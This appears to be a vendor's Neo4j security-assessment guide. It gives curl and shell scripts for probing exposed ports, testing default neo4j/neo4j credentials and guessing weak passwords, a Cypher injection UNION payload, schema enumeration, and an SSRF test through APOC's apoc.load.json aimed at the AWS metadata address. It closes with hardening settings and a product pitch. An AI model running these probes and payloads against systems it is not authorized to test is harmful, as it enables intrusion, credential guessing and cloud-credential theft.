Neo4j is the leading graph database, used across fraud detection, recommendation engines, identity graphs, and knowledge management systems. Its security profile has several key assessment areas: Neo4j ships with default credentials neo4j/neo4j that must be changed on first login — many development deployments and some production systems retain weak passwords or skip the forced-change mechanism; the Bolt binary protocol on port 7687 and the HTTP REST API on port 7474 are frequently exposed without network restrictions; older Neo4j Community Edition deployments (pre-4.0) had no authentication enabled by default; applications that construct Cypher queries via string concatenation rather than parameterized queries are vulnerable to Cypher injection — attackers can append UNION MATCH (n) RETURN n clauses to extract all nodes and relationships; Neo4j's APOC plugin (Awesome Procedures on Cypher), which is widely deployed for extended functionality, includes procedures like apoc.load.url() and apoc.load.ldap() that can trigger SSRF, and on some configurations apoc.static.set() can be abused; and Neo4j's browser and Bloom interfaces expose the full graph schema to any authenticated user regardless of their business role. This guide covers systematic Neo4j security assessment.
# Neo4j default ports:
# 7687 — Bolt protocol (primary client connection)
# 7474 — HTTP API and browser UI
# 7473 — HTTPS API (if configured)
# 5000 — Cluster discovery (if Neo4j cluster)
# Check Neo4j HTTP API for version and auth status
curl -s http://neo4j.example.com:7474/ 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Neo4j version: {data.get('neo4j_version','?')}\")
# Check authentication type — 'no_auth' means auth disabled
auth = data.get('authentication','unknown')
print(f'Authentication: {auth}')
" 2>/dev/null
# Check if authentication is disabled (pre-Neo4j 4.0 or misconfigured)
# 'authentication: no_auth' means any connection succeeds without credentials
curl -s http://neo4j.example.com:7474/db/data/ 2>/dev/null | \
python3 -c "
import json,sys
try:
data = json.load(sys.stdin)
print('Auth DISABLED — database accessible without credentials')
except:
print('Auth required or connection failed')
" 2>/dev/null
# Test default neo4j/neo4j credentials via HTTP API
curl -s -u neo4j:neo4j http://neo4j.example.com:7474/db/data/ 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
# If password change required, this indicates default credentials still active
if 'errors' in data:
errors = data.get('errors', [])
for e in errors:
print(f\"Error: {e.get('code','?')} — {e.get('message','?')}\")
else:
print('Login successful with neo4j/neo4j — default credentials active')
print(f\"Edition: {data.get('edition','?')}\")
" 2>/dev/null
# Test common weak passwords via HTTP Basic Auth
PASSWORDS=("neo4j" "password" "admin" "Password1" "neo4j123" "graph" "changeme")
for PASS in "${PASSWORDS[@]}"; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-u "neo4j:${PASS}" \
http://neo4j.example.com:7474/db/data/ 2>/dev/null)
if [ "$HTTP_CODE" == "200" ]; then
echo "VALID: neo4j / ${PASS}"
fi
done
# Cypher injection occurs when applications build queries like:
# "MATCH (u:User {username: '" + username + "'}) RETURN u"
# An attacker supplies: ' OR 1=1 RETURN u UNION MATCH (n) RETURN n //
# which becomes: MATCH (u:User {username: '' OR 1=1 RETURN u UNION MATCH (n) RETURN n //
# Note: Cypher injection is more structured than SQL injection
# Test injection via Neo4j HTTP Transaction API
# Safe baseline — parameterized query
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
-H "Content-Type: application/json" \
-u neo4j:weakpassword \
-d '{
"statements": [{
"statement": "MATCH (u:User {username: $name}) RETURN u",
"parameters": {"name": "admin"}
}]
}' 2>/dev/null | python3 -m json.tool 2>/dev/null | head -20
# Injection payload — if application uses string concatenation,
# test via the vulnerable endpoint (not directly via Cypher API)
# Example vulnerable application endpoint:
# GET /api/user?name=admin%27+OR+1=1+RETURN+u+UNION+MATCH+(n)+RETURN+n+//
# The resulting query executes UNION to return all graph nodes
# Enumerate all node labels (schema enumeration via authenticated access)
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
-H "Content-Type: application/json" \
-u neo4j:weakpassword \
-d '{"statements": [{"statement": "CALL db.labels()"}]}' 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
results = data.get('results', [{}])
if results:
rows = results[0].get('data', [])
print(f'Node labels ({len(rows)}):')
for r in rows:
print(f\" {r.get('row', ['?'])[0]}\")
" 2>/dev/null
# APOC (Awesome Procedures on Cypher) is widely deployed alongside Neo4j
# Some APOC procedures can be abused for SSRF and data exfiltration
# Check if APOC is installed
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
-H "Content-Type: application/json" \
-u neo4j:weakpassword \
-d '{"statements": [{"statement": "CALL apoc.help(\"apoc\") YIELD name RETURN name LIMIT 5"}]}' 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
errors = data.get('errors', [])
if errors:
print('APOC not installed or procedure blocked')
else:
results = data.get('results', [{}])
rows = results[0].get('data', []) if results else []
print(f'APOC installed — {len(rows)}+ procedures available')
" 2>/dev/null
# SSRF test via apoc.load.url (fetches URL from Neo4j server side)
# This causes Neo4j to make an outbound HTTP request to the target URL
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
-H "Content-Type: application/json" \
-u neo4j:weakpassword \
-d '{
"statements": [{
"statement": "CALL apoc.load.json(\"http://169.254.169.254/latest/meta-data/\") YIELD value RETURN value LIMIT 1"
}]
}' 2>/dev/null | python3 -c "
import json,sys
data = json.load(sys.stdin)
errors = data.get('errors', [])
results = data.get('results', [{}])
rows = results[0].get('data', []) if results else []
if rows:
print('SSRF via apoc.load.json — AWS metadata accessible from Neo4j server!')
print(rows[0])
elif errors:
for e in errors:
print(f\"Blocked: {e.get('code','?')}\")
" 2>/dev/null
dbms.security.auth_enabled=true in neo4j.conf; this is the default in Neo4j 4.0+ but was disabled by default in earlier versionsapoc.import.file.enabled=false, apoc.trigger.enabled=false, and whitelist allowed procedures via dbms.security.procedures.allowlistdbms.connector.bolt.tls_level=REQUIRED to encrypt all database connectionsbrowser.enabled=false in neo4j.conf to prevent browser-based access to production databases| Security Test | Method | Risk |
|---|---|---|
| Default neo4j/neo4j credentials | HTTP Basic Auth with neo4j:neo4j against port 7474 — successful login = default credentials retained | Critical |
| Authentication disabled (pre-4.0) | GET /db/data/ without credentials — 200 response means auth disabled | Critical |
| Cypher injection in application queries | Test string-concatenated query parameters with UNION MATCH clauses — extracts all graph nodes | High |
| APOC apoc.load.json SSRF | Execute apoc.load.json with internal URL — triggers outbound request from Neo4j server | High |
| Schema enumeration via CALL db.labels() | Authenticated call lists all node labels revealing data model and sensitive entity types | Medium |
| Bolt port 7687 exposed without TLS | Connect without TLS — credentials and query data transmitted in cleartext | Medium |
Ironimo tests Neo4j deployments for default neo4j/neo4j credentials and weak password enumeration, authentication disabled in pre-4.0 Community Edition deployments, Bolt protocol exposure on port 7687 without TLS encryption, APOC procedure availability enabling SSRF via apoc.load.json with internal network targets, complete graph schema and node label enumeration after authentication, and Cypher injection indicators in application-level query construction patterns.
Start free scan